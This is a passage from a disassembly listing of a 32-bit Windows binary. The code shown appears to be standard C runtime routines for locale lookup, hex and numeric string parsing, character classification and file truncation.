arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_10], 0
mov [ebp+var_4], 1Ah
mov [ebp+var_8], 0
loc_4308DB: ; CODE XREF: sub_4308C0:loc_430A23j
mov eax, [ebp+var_10]
cmp eax, [ebp+var_4]
jg loc_430A28
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
imul ecx, 2Ch
mov edx, [ebp+arg_0]
cmp edx, dword_451E70[ecx]
jnz loc_4309FE
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+var_14], 0Bh
ja short loc_430937
cmp [ebp+var_14], 0Bh
jz loc_4309A9
cmp [ebp+var_14], 1
jz short loc_430954
cmp [ebp+var_14], 3
jz short loc_430976
cmp [ebp+var_14], 7
jz short loc_430998
jmp loc_4309C8
; ---------------------------------------------------------------------------
loc_430937: ; CODE XREF: sub_4308C0+54j
cmp [ebp+var_14], 1001h
jz short loc_430965
cmp [ebp+var_14], 1002h
jz short loc_430987
cmp [ebp+var_14], 1004h
jz short loc_4309BA
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_430954: ; CODE XREF: sub_4308C0+64j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset a040a ; "040a"
mov [ebp+var_8], ecx
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_430965: ; CODE XREF: sub_4308C0+7Ej
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_451E7C[edx]
mov [ebp+var_8], eax
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_430976: ; CODE XREF: sub_4308C0+6Aj
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_451E80
mov [ebp+var_8], ecx
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_430987: ; CODE XREF: sub_4308C0+87j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, off_451E84[edx]
mov [ebp+var_8], eax
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_430998: ; CODE XREF: sub_4308C0+70j
mov ecx, [ebp+var_C]
imul ecx, 2Ch
add ecx, offset off_451E88
mov [ebp+var_8], ecx
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_4309A9: ; CODE XREF: sub_4308C0+5Aj
mov edx, [ebp+var_C]
imul edx, 2Ch
add edx, offset dword_451E8C
mov [ebp+var_8], edx
jmp short loc_4309C8
; ---------------------------------------------------------------------------
loc_4309BA: ; CODE XREF: sub_4308C0+90j
mov eax, [ebp+var_C]
imul eax, 2Ch
add eax, offset a1252 ; "1252"
mov [ebp+var_8], eax
loc_4309C8: ; CODE XREF: sub_4308C0+72j
; sub_4308C0+92j ...
cmp [ebp+var_8], 0
jz short loc_4309D4
cmp [ebp+arg_C], 1
jge short loc_4309D6
loc_4309D4: ; CODE XREF: sub_4308C0+10Cj
jmp short loc_430A28
; ---------------------------------------------------------------------------
loc_4309D6: ; CODE XREF: sub_4308C0+112j
mov ecx, [ebp+arg_C]
sub ecx, 1
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_41B1F0
add esp, 0Ch
mov ecx, [ebp+arg_8]
add ecx, [ebp+arg_C]
mov byte ptr [ecx-1], 0
mov eax, 1
jmp short loc_430A3E
; ---------------------------------------------------------------------------
loc_4309FE: ; CODE XREF: sub_4308C0+44j
mov edx, [ebp+var_C]
imul edx, 2Ch
mov eax, [ebp+arg_0]
cmp eax, dword_451E70[edx]
jnb short loc_430A1A
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_430A23
; ---------------------------------------------------------------------------
loc_430A1A: ; CODE XREF: sub_4308C0+14Dj
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_10], edx
loc_430A23: ; CODE XREF: sub_4308C0+158j
jmp loc_4308DB
; ---------------------------------------------------------------------------
loc_430A28: ; CODE XREF: sub_4308C0+21j
; sub_4308C0:loc_4309D4j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4F1380 ; GetLocaleInfoA
loc_430A3E: ; CODE XREF: sub_4308C0+13Cj
mov esp, ebp
pop ebp
retn 10h
sub_4308C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430A50 proc near ; CODE XREF: sub_4300F0+Ap
; sub_4304A0+Ap ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
loc_430A5D: ; CODE XREF: sub_430A50+6Dj
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
movsx edx, [ebp+var_8]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jz short loc_430ABF
movsx ecx, [ebp+var_8]
cmp ecx, 61h
jl short loc_430A92
movsx edx, [ebp+var_8]
cmp edx, 66h
jg short loc_430A92
mov al, [ebp+var_8]
add al, 0D9h
mov [ebp+var_8], al
jmp short loc_430AAC
; ---------------------------------------------------------------------------
loc_430A92: ; CODE XREF: sub_430A50+2Dj
; sub_430A50+36j
movsx ecx, [ebp+var_8]
cmp ecx, 41h
jl short loc_430AAC
movsx edx, [ebp+var_8]
cmp edx, 46h
jg short loc_430AAC
mov al, [ebp+var_8]
add al, 0F9h
mov [ebp+var_8], al
loc_430AAC: ; CODE XREF: sub_430A50+40j
; sub_430A50+49j ...
mov ecx, [ebp+var_4]
shl ecx, 4
movsx edx, [ebp+var_8]
lea eax, [ecx+edx-30h]
mov [ebp+var_4], eax
jmp short loc_430A5D
; ---------------------------------------------------------------------------
loc_430ABF: ; CODE XREF: sub_430A50+24j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_430A50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430AD0 proc near ; CODE XREF: sub_430030+60p
; sub_430420+39p ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_4], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
loc_430AEE: ; CODE XREF: sub_430AD0+5Cj
movsx eax, [ebp+var_4]
cmp eax, 41h
jl short loc_430B00
movsx ecx, [ebp+var_4]
cmp ecx, 5Ah
jle short loc_430B12
loc_430B00: ; CODE XREF: sub_430AD0+25j
movsx edx, [ebp+var_4]
cmp edx, 61h
jl short loc_430B2E
movsx eax, [ebp+var_4]
cmp eax, 7Ah
jg short loc_430B2E
loc_430B12: ; CODE XREF: sub_430AD0+2Ej
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_430AEE
; ---------------------------------------------------------------------------
loc_430B2E: ; CODE XREF: sub_430AD0+37j
; sub_430AD0+40j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_430AD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 0
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 107h
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 103h
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 117h
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 157h
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 10h
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430C40 proc near ; CODE XREF: sub_429CD0+4Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 0
mov eax, [ebp+arg_0]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
sub_430C40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 8
push 0
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_4EFD4C, 3A4h
jnz short loc_430CAD
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_430CC0
add esp, 0Ch
test eax, eax
jz short loc_430CAD
mov dword ptr [ebp-4], 1
jmp short loc_430CB4
; ---------------------------------------------------------------------------
loc_430CAD: ; CODE XREF: .nsp0:00430C8Ej
; .nsp0:00430CA2j
mov dword ptr [ebp-4], 0
loc_430CB4: ; CODE XREF: .nsp0:00430CABj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430CC0 proc near ; CODE XREF: .nsp0:00430B4Bp
; .nsp0:00430B6Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, byte_4EFE61[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_430D14
cmp [ebp+arg_4], 0
jz short loc_430CFE
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, word_4514A6[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_430D05
; ---------------------------------------------------------------------------
loc_430CFE: ; CODE XREF: sub_430CC0+27j
mov [ebp+var_4], 0
loc_430D05: ; CODE XREF: sub_430CC0+3Cj
cmp [ebp+var_4], 0
jnz short loc_430D14
mov [ebp+var_8], 0
jmp short loc_430D1B
; ---------------------------------------------------------------------------
loc_430D14: ; CODE XREF: sub_430CC0+21j
; sub_430CC0+49j
mov [ebp+var_8], 1
loc_430D1B: ; CODE XREF: sub_430CC0+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_430CC0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_4EFD40
jnb short loc_430D61
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_430D71
loc_430D61: ; CODE XREF: .nsp0:00430D3Dj
call sub_4248A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_430D9F
; ---------------------------------------------------------------------------
loc_430D71: ; CODE XREF: .nsp0:00430D5Fj
mov edx, [ebp+8]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_430DB0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_42BCE0
add esp, 4
mov eax, [ebp-4]
loc_430D9F: ; CODE XREF: .nsp0:00430D6Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430DB0 proc near ; CODE XREF: sub_42C3D0+44Cp
; .nsp0:00430D85p
var_1024 = dword ptr -1024h
var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1024h
call sub_41BC60
push ebx
push esi
push edi
lea eax, [ebp+var_1004]
mov [ebp+var_1014], eax
mov [ebp+var_101C], 0
loc_430DD6: ; CODE XREF: sub_430DB0+51j
cmp [ebp+arg_4], 0
jge short loc_430DFD
push offset dword_438D84
push 0
push 81h
push offset dword_438D78
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_430DFD
int 3 ; Trap to Debugger
loc_430DFD: ; CODE XREF: sub_430DB0+2Aj
; sub_430DB0+4Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_430DD6
push 1
push 0
mov edx, [ebp+arg_0]
push edx
call sub_429380
add esp, 0Ch
mov [ebp+var_100C], eax
cmp [ebp+var_100C], 0FFFFFFFFh
jz short loc_430E41
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_429380
add esp, 0Ch
mov [ebp+var_1010], eax
cmp [ebp+var_1010], 0FFFFFFFFh
jnz short loc_430E49
loc_430E41: ; CODE XREF: sub_430DB0+70j
or eax, 0FFFFFFFFh
jmp loc_430FD9
; ---------------------------------------------------------------------------
loc_430E49: ; CODE XREF: sub_430DB0+8Fj
mov ecx, [ebp+arg_4]
sub ecx, [ebp+var_1010]
mov [ebp+var_1018], ecx
cmp [ebp+var_1018], 0
jle loc_430F60
push 1000h
push 0
mov edx, [ebp+var_1014]
push edx
call sub_41B190
add esp, 0Ch
push 8000h
mov eax, [ebp+arg_0]
push eax
call sub_433F90
add esp, 8
mov [ebp+var_4], eax
loc_430E8F: ; CODE XREF: sub_430DB0+198j
cmp [ebp+var_1018], 1000h
jl short loc_430EA7
mov [ebp+var_1020], 1000h
jmp short loc_430EB3
; ---------------------------------------------------------------------------
loc_430EA7: ; CODE XREF: sub_430DB0+E9j
mov ecx, [ebp+var_1018]
mov [ebp+var_1020], ecx
loc_430EB3: ; CODE XREF: sub_430DB0+F5j
mov edx, [ebp+var_1020]
mov [ebp+var_1008], edx
cmp [ebp+var_1018], 1000h
jl short loc_430ED7
mov [ebp+var_1024], 1000h
jmp short loc_430EE3
; ---------------------------------------------------------------------------
loc_430ED7: ; CODE XREF: sub_430DB0+119j
mov eax, [ebp+var_1018]
mov [ebp+var_1024], eax
loc_430EE3: ; CODE XREF: sub_430DB0+125j
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+var_1014]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42BE80
add esp, 0Ch
mov [ebp+var_1008], eax
cmp [ebp+var_1008], 0FFFFFFFFh
jnz short loc_430F2F
call sub_4248B0
cmp dword ptr [eax], 5
jnz short loc_430F21
call sub_4248A0
mov dword ptr [eax], 0Dh
loc_430F21: ; CODE XREF: sub_430DB0+164j
mov ecx, [ebp+var_1008]
mov [ebp+var_101C], ecx
jmp short loc_430F4E
; ---------------------------------------------------------------------------
loc_430F2F: ; CODE XREF: sub_430DB0+15Aj
mov edx, [ebp+var_1018]
sub edx, [ebp+var_1008]
mov [ebp+var_1018], edx
cmp [ebp+var_1018], 0
jg loc_430E8F
loc_430F4E: ; CODE XREF: sub_430DB0+17Dj
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_433F90
add esp, 8
jmp short loc_430FBE
; ---------------------------------------------------------------------------
loc_430F60: ; CODE XREF: sub_430DB0+AFj
cmp [ebp+var_1018], 0
jge short loc_430FBE
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429380
add esp, 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_42BAD0
add esp, 4
push eax
call dword_4F12D0 ; SetEndOfFile
neg eax
sbb eax, eax
neg eax
dec eax
mov [ebp+var_101C], eax
cmp [ebp+var_101C], 0FFFFFFFFh
jnz short loc_430FBE
call sub_4248A0
mov dword ptr [eax], 0Dh
call dword_4F1348 ; RtlGetLastWin32Error
mov esi, eax
call sub_4248B0
mov [eax], esi
loc_430FBE: ; CODE XREF: sub_430DB0+1AEj
; sub_430DB0+1B7j ...
push 0
mov edx, [ebp+var_100C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_429380
add esp, 0Ch
mov eax, [ebp+var_101C]
loc_430FD9: ; CODE XREF: sub_430DB0+94j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_430DB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430FE0 proc near ; CODE XREF: sub_42D380+53p
; sub_42D380+94p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_0]
jb short loc_431006
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_43100F
loc_431006: ; CODE XREF: sub_430FE0+1Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_43100F: ; CODE XREF: sub_430FE0+24j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_430FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431020 proc near ; CODE XREF: sub_4311A0+77p
; sub_4311A0+AAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_430FE0
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_431077
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_430FE0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_431077
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
loc_431077: ; CODE XREF: sub_431020+25j
; sub_431020+46j
mov edx, [ebp+arg_0]
add edx, 4
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_430FE0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4310AC
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
loc_4310AC: ; CODE XREF: sub_431020+7Bj
mov ecx, [ebp+arg_0]
add ecx, 8
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
push edx
call sub_430FE0
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_431020 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4310D0 proc near ; CODE XREF: sub_4311A0+5Bp
; sub_4311A0+67p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 80000000h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shl edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shl edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shl edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov esp, ebp
pop ebp
retn
sub_4310D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431130 proc near ; CODE XREF: sub_431E60+382p
; sub_434060+316p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 80000000h
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 1
neg eax
sbb eax, eax
and eax, 80000000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shr edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shr edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_431130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4311A0 proc near ; CODE XREF: sub_4312E0+8A7p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 404Eh
mov eax, [ebp+arg_8]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_8]
mov dword ptr [edx+8], 0
jmp short loc_4311DD
; ---------------------------------------------------------------------------
loc_4311CB: ; CODE XREF: sub_4311A0+B2j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_4311DD: ; CODE XREF: sub_4311A0+29j
cmp [ebp+arg_4], 0
jbe short loc_431257
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov ecx, [edx+4]
mov [ebp+var_8], ecx
mov edx, [edx+8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
push eax
call sub_4310D0
add esp, 4
mov ecx, [ebp+arg_8]
push ecx
call sub_4310D0
add esp, 4
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_431020
add esp, 8
mov ecx, [ebp+arg_8]
push ecx
call sub_4310D0
add esp, 4
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_431020
add esp, 8
jmp loc_4311CB
; ---------------------------------------------------------------------------
loc_431257: ; CODE XREF: sub_4311A0+41j
; sub_4311A0+101j
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 0
jnz short loc_4312A3
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shr edx, 10h
mov eax, [ebp+arg_8]
mov [eax+8], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shl edx, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shr ecx, 10h
or edx, ecx
mov eax, [ebp+arg_8]
mov [eax+4], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
shl edx, 10h
mov eax, [ebp+arg_8]
mov [eax], edx
mov cx, [ebp+var_10]
sub cx, 10h
mov [ebp+var_10], cx
jmp short loc_431257
; ---------------------------------------------------------------------------
loc_4312A3: ; CODE XREF: sub_4311A0+BEj
; sub_4311A0+12Aj
mov edx, [ebp+arg_8]
mov eax, [edx+8]
and eax, 8000h
test eax, eax
jnz short loc_4312CC
mov ecx, [ebp+arg_8]
push ecx
call sub_4310D0
add esp, 4
mov dx, [ebp+var_10]
sub dx, 1
mov [ebp+var_10], dx
jmp short loc_4312A3
; ---------------------------------------------------------------------------
loc_4312CC: ; CODE XREF: sub_4311A0+110j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_10]
mov [eax+0Ah], cx
mov esp, ebp
pop ebp
retn
sub_4311A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4312E0 proc near ; CODE XREF: sub_42DA10+1Ap
; .nsp0:0042DA6Ap ...
var_B4 = byte ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_A4 = byte ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_21 = byte ptr -21h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 0B4h
lea eax, [ebp+var_38]
mov [ebp+var_68], eax
mov word ptr [ebp+var_1C], 0
mov [ebp+var_74], 1
mov [ebp+var_70], 0
mov [ebp+var_54], 0
mov [ebp+var_C], 0
mov [ebp+var_18], 0
mov [ebp+var_40], 0
mov [ebp+var_78], 0
mov [ebp+var_14], 0
mov [ebp+var_6C], 0
mov [ebp+var_44], 0
mov [ebp+var_4C], 0
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_64], edx
jmp short loc_431359
; ---------------------------------------------------------------------------
loc_431350: ; CODE XREF: sub_4312E0:loc_431385j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_431359: ; CODE XREF: sub_4312E0+6Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_431385
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jz short loc_431385
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jz short loc_431385
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jnz short loc_431387
loc_431385: ; CODE XREF: sub_4312E0+82j
; sub_4312E0+8Dj ...
jmp short loc_431350
; ---------------------------------------------------------------------------
loc_431387: ; CODE XREF: sub_4312E0+A3j
; sub_4312E0:loc_431AE3j
cmp [ebp+var_4C], 0Ah
jz loc_431AE8
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4C]
mov [ebp+var_80], eax
cmp [ebp+var_80], 0Bh
ja loc_431AE3
mov ecx, [ebp+var_80]
jmp off_431CFA[ecx*4]
loc_4313BC: ; DATA XREF: .nsp0:off_431CFAo
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_4313E0
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_4313E0
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_431455
; ---------------------------------------------------------------------------
loc_4313E0: ; CODE XREF: sub_4312E0+E3j
; sub_4312E0+ECj
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_4516AC
cmp edx, eax
jnz short loc_4313F8
mov [ebp+var_4C], 5
jmp short loc_431455
; ---------------------------------------------------------------------------
